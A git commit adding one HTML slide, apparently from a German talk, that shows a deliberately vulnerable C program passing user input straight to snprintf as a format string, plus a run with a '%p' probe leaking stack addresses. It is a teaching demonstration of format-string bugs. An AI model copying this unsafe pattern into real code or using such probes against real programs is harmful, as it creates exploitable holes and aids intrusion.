From 23f0e1561767dd8a396188e317bae5920d171ea8 Mon Sep 17 00:00:00 2001 From: erdgeist Date: Sun, 16 Aug 2015 16:38:25 +0200 Subject: Initial import of my nikola website --- stories/poetry/MeinVortrag/14.html | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 stories/poetry/MeinVortrag/14.html (limited to 'stories/poetry/MeinVortrag/14.html') diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html new file mode 100644 index 0000000..63acc3e --- /dev/null +++ b/stories/poetry/MeinVortrag/14.html @@ -0,0 +1,25 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+   
+    printf( "test auf: %p\n", &test );
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );   
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+
+    return 0;
+}
+
+# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x23232323
+    
+AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04
+0x2805a3a8 0x41414141 0x62317830 0x64356666
+test enthaelt: 0x23232323
+

-- cgit v1.2.3